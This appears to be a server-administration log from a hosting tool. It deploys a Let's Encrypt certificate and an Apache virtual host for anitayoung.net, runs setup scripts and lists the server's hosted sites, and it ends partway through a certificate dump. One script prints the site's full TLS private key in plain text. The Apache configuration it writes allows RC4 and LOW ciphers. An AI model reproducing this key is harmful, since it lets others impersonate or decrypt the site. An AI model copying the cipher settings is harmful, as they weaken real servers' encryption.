cd "/var/www/anitayoung_www/.well-known/acme-challenge/"
cat > QmI_sDNc1S3ls_WkuBVeQwHuGrsuCvGyoD-nyQxE3cc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
QmI_sDNc1S3ls_WkuBVeQwHuGrsuCvGyoD-nyQxE3cc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 QmI_sDNc1S3ls_WkuBVeQwHuGrsuCvGyoD-nyQxE3cc


2025-09-26 06:00:28: 

chmod 755 /tmp/pkp940429; /tmp/pkp940429; rm /tmp/pkp940429

2025-09-26 06:00:28: 




2025-09-26 06:00:32: Establishing a connection
2025-09-26 06:00:32: 

PUT: /tmp/pkp692758

#!/bin/bash
mkdir -p "/var/www/anitayoung_www/.well-known/acme-challenge/"
cd "/var/www/anitayoung_www/.well-known/acme-challenge/"
rm QmI_sDNc1S3ls_WkuBVeQwHuGrsuCvGyoD-nyQxE3cc


2025-09-26 06:00:32: 

chmod 755 /tmp/pkp692758; /tmp/pkp692758; rm /tmp/pkp692758

2025-09-26 06:00:32: 




2025-09-26 06:00:32: Establishing a connection
2025-09-26 06:00:32: 

PUT: /tmp/pkp506004

#!/bin/bash
temp_file=$(mktemp)
TARGET=6784aa2fd84151497bb640fc77814c2a.crt

cat > $temp_file <<'endmsg'
d2:ed:b6:d9:73:49:6f:ad:20:c0:11:43:37:66:6a:40

-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBUvS1B7cSxXtoT6sALw1b+byMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI2MDUwMjAxWhcNMjUxMjI1MDUwMjAwWjAZMRcwFQYDVQQD
Ew5hbml0YXlvdW5nLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALHcHeJt10Uhpet8s0lmLzFehpCTzwDW7ZnYy0eGUkRYxEOB7JvzE4FZFVLBpYKr
t+Mjn7GnX/SezM4SHIXxNbHriZi2mBiv6pRYsFMzfHxlzg31wWrAhAjJE71+hu9R
04KdcAHjL8cnfadEvztivqzZGPbWdztVpZhAu/kn41j7Kjs10eQVUzjeVw/kUp5/
nmi3l6WK0MoW0DuSYx1DP/GZO+Mx2OVTInZ9dBsonz0O64+F8VBQY8A5E3jTFoOe
S+VZXt+wSKzKArYYXOxf/aPVcLRlreu7+uCJv83wdZXTYxr5ufwIjY/8/II0bsXJ
PgwTKj4LzKvGX2rZ/YTnMyECAwEAAaOCAh8wggIbMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUq86A/F2OwwbXzOtJafAyLG/WepcwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5hbml0YXlvdW5nLm5ldDATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzExNS5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdQCkQsUG
SWBhVI8P1Oqc+3otJkVNh6l/L99FWfYnTzqEVAAAAZmEm99GAAAEAwBGMEQCIGy7
H5Xiec5rfyeJv7bCM6hTQ8nEFTP5oGaAbW6Z0NGSAiAC5GaKDElnL5dM+9UTKGpT
mhljwl0KHmfCgVJpZcy3swB3AMz7D2qFcQll/pWbU87psnwi6YVcDZeNtql+VMD+
TA2wAAABmYSb318AAAQDAEgwRgIhAPXSbHlUH0MjtRgq8W6KwpzXZfhiKTXcnPp8
3MRqOJVkAiEAqGDhwkDbCDHWvMXyrmdBVRd8yQXgMn9Xck+a8y3CdIowDQYJKoZI
hvcNAQELBQADggEBACYnXSyLRV7KQq7YD1o12LMHORycxhS4ugnlRbRkpqBvNL4O
Tnx/Vk2ktZMkn9C2nuu67cjxMFu3u1km9DJcER9XiBRz5MzgJ5E0FqFprwXlHhJP
2DPJ4jR/NaC7tYd0j1TCJ/tHOQVpLOB3RBhmwq7OEUjeu0S5Sn1rQBYTsQYskXY1
Vi7qVzk+7cfSVBnuwlZFip2jvo7M8UMDe0ZXPqh98RfJtHtpipduLAHYHtvIw+Su
obi9SaIh7MUoIU21g2Yt5p620CDCzE5ieyedoEDzMhFCYRr/WEKLIMl/6NMBA+Ae
gjNqGXTRq83aTkKW3Y8x0ZsMEJnoocDl5uXVzUU=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQCx3B3ibddFIaXr
fLNJZi8xXoaQk88A1u2Z2MtHhlJEWMRDgeyb8xOBWRVSwaWCq7fjI5+xp1/0nszO
EhyF8TWx64mYtpgYr+qUWLBTM3x8Zc4N9cFqwIQIyRO9fobvUdOCnXAB4y/HJ32n
RL87Yr6s2Rj21nc7VaWYQLv5J+NY+yo7NdHkFVM43lcP5FKef55ot5elitDKFtA7
kmMdQz/xmTvjMdjlUyJ2fXQbKJ89DuuPhfFQUGPAORN40xaDnkvlWV7fsEisygK2
GFzsX/2j1XC0Za3ru/rgib/N8HWV02Ma+bn8CI2P/PyCNG7FyT4MEyo+C8yrxl9q
2f2E5zMhAgMBAAECggEBAKUrcgE92iUUC1517pViNL9XNgX7jcgM0JgHsTeZ8LoR
6Sl79XwZr2p2jQvOU2LXDyz7fyje84hbFHzmauCkUSYKQzyzjOmYLHNZLV4GuTtY
25MxP05gu/zgptlaL/r9dTud8099aHg9Hz5/5EtE9yfTcJCCODW84sxSiX3nYgTV
pa08sND7XAOJ4R7354eddnHJiK7umqCJrKkAH1hwfw0WL3eRPcoOM9HLxYJcELzQ
xmNQ+lsj9M+wjZXWxB16EKbVev/uvVAzgczIDHlgR48CwXxR7mx8lXlHnQ4Sq8WW
osU0N+Xkdx4nxXrqN1ijxxG3Buov0o0NKk3TMcATOcECgYEA4mQftn38TLga8WzW
G8J6BWHnlNg/4PiQgEBqJt9m9x+UwUQwBh6b1kA337W4UPROc17kHSGeoCfgRwun
EtOvcmKEMnXanvkGPdNc3B41kcwn4gR2Sw2heyM7v+6ObVZUoL6My2W44bN4ui1/
qm20ccJUqwNoBF/PwpkfpzB4n2kCgYEAyR8Z2bTDay5s3trbNN80wSDkSIpfll/9
sNY8MVp1t0ATEpIds4SWtTBUeziQOzNfjAOPXmWcUPh1nWK8Dz7B403D8OJQD6i7
enu6orTVCJSzGniMhbLA13vMrNqimpe94s4RPQAqZAtleYTZPAskpx1nsWjOGmiX
t4EMgDPUNvkCgYEAsLBuI9LuL75coOJNtLqy2zKPOJcSO/YjaUVc09v2E5ddVP1v
8ca/35adRQchxGT4OYjsxmOv1tVocGqCyenW+5IyFOPwbbRzj5s/1TfqnVDWK8tJ
u8f2qRFVl7WLCYCgahht8G0Cv3yAE+ZgxlX6x/JgfFwbOZbBouI5VxY4fkkCgYEA
roFtzJgrdzQxAqyixp1lCK2hZc+qYK+pT2aTk78JpJbT9akSXFEO8uecZc4OV0+b
98CfBSjlGNx8MLMauZ+aW7994+R50xx0jzIMHmEI9wkO3kj6pIcVC+M/FDwgGkLP
X5utGWCrZ2L8CRRb6N1CUD4TWru1GPTnrzEpx5Mw7wECgYEAtMaSHFDAyal/WFe/
ZPCWyeJuPL+Cw5yP+UPI9BmVgWF565WP4We4XC2+GS8iYfbfD2k4GYV/vJj47sO8
M7vKFk/JDHQG7vdrzvXhp3NrrBqn46A1KpNhc2bie3K5dHRhVbVA1yQGa2VeE2x1
fs7uC1V/JCxGtA6o6oM5itw4wA0=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-26 06:00:32: 

chmod 755 /tmp/pkp506004; /tmp/pkp506004; rm /tmp/pkp506004

2025-09-26 06:00:32: 


dir=/etc/ssl/certs


2025-09-26 06:00:32: 

PUT: /tmp/pkp158016

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/anitayoung_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-26 06:00:32: 

chmod 755 /tmp/pkp158016; /tmp/pkp158016; rm /tmp/pkp158016

2025-09-26 06:00:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/anitayoung_www_net.conf 42

<VirtualHost *:80>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-26 06:00:32: 

PUT: /tmp/pkp853463

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=anitayoung_www_net.conf
TARGET=/etc/apache2/sites-enabled/anitayoung_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/anitayoung_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/anitayoung_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/anitayoung_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/anitayoung_www_net.conf= 1'
fi


2025-09-26 06:00:32: 

chmod 755 /tmp/pkp853463; /tmp/pkp853463; rm /tmp/pkp853463

2025-09-26 06:00:32: 




2025-09-26 06:00:32: 

PUT: /tmp/pkp795399

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-26 06:00:32: 

chmod 755 /tmp/pkp795399; /tmp/pkp795399; rm /tmp/pkp795399

2025-09-26 06:00:32: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-26 06:00:32: Establishing a connection
2025-09-26 06:00:33: 

PUT: /tmp/pkp300774

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-26 06:00:33: 

chmod 755 /tmp/pkp300774; /tmp/pkp300774; rm /tmp/pkp300774

2025-09-26 06:00:33: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-26 06:00:33: 

PUT: /tmp/pkp702685

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/anitayoung_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-26 06:00:33: 

chmod 755 /tmp/pkp702685; /tmp/pkp702685; rm /tmp/pkp702685

2025-09-26 06:00:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/anitayoung_www_net.conf	1192

<VirtualHost *:80>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-26 06:00:33: 

PUT: /tmp/pkp277455

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-26 06:00:33: 

chmod 755 /tmp/pkp277455; /tmp/pkp277455; rm /tmp/pkp277455

2025-09-26 06:00:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt	5352
d2:ed:b6:d9:73:49:6f:ad:20:c0:11:43:37:66:6a:40

-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBUvS1B7cSxXtoT6sALw1b+byMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI2MDUwMjAxWhcNMjUxMjI1MDUwMjAwWjAZMRcwFQYDVQQD
Ew5hbml0YXlvdW5nLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALHcHeJt10Uhpet8s0lmLzFehpCTzwDW7ZnYy0eGUkRYxEOB7JvzE4FZFVLBpYKr
t+Mjn7GnX/SezM4SHIXxNbHriZi2mBiv6pRYsFMzfHxlzg31wWrAhAjJE71+hu9R
04KdcAHjL8cnfadEvztivqzZGPbWdztVpZhAu/kn41j7Kjs10eQVUzjeVw/kUp5/
nmi3l6WK0MoW0DuSYx1DP/GZO+Mx2OVTInZ9dBsonz0O64+F8VBQY8A5E3jTFoOe
S+VZXt+wSKzKArYYXOxf/aPVcLRlreu7+uCJv83wdZXTYxr5ufwIjY/8/II0bsXJ
PgwTKj4LzKvGX2rZ/YTnMyECAwEAAaOCAh8wggIbMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUq86A/F2OwwbXzOtJafAyLG/WepcwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5hbml0YXlvdW5nLm5ldDATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzExNS5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdQCkQsUG
SWBhVI8P1Oqc+3otJkVNh6l/L99FWfYnTzqEVAAAAZmEm99GAAAEAwBGMEQCIGy7
H5Xiec5rfyeJv7bCM6hTQ8nEFTP5oGaAbW6Z0NGSAiAC5GaKDElnL5dM+9UTKGpT
mhljwl0KHmfCgVJpZcy3swB3AMz7D2qFcQll/pWbU87psnwi6YVcDZeNtql+VMD+
TA2wAAABmYSb318AAAQDAEgwRgIhAPXSbHlUH0MjtRgq8W6KwpzXZfhiKTXcnPp8
3MRqOJVkAiEAqGDhwkDbCDHWvMXyrmdBVRd8yQXgMn9Xck+a8y3CdIowDQYJKoZI
hvcNAQELBQADggEBACYnXSyLRV7KQq7YD1o12LMHORycxhS4ugnlRbRkpqBvNL4O
Tnx/Vk2ktZMkn9C2nuu67cjxMFu3u1km9DJcER9XiBRz5MzgJ5E0FqFprwXlHhJP
2DPJ4jR/NaC7tYd0j1TCJ/tHOQVpLOB3RBhmwq7OEUjeu0S5Sn1rQBYTsQYskXY1
Vi7qVzk+7cfSVBnuwlZFip2jvo7M8UMDe0ZXPqh98RfJtHtpipduLAHYHtvIw+Su
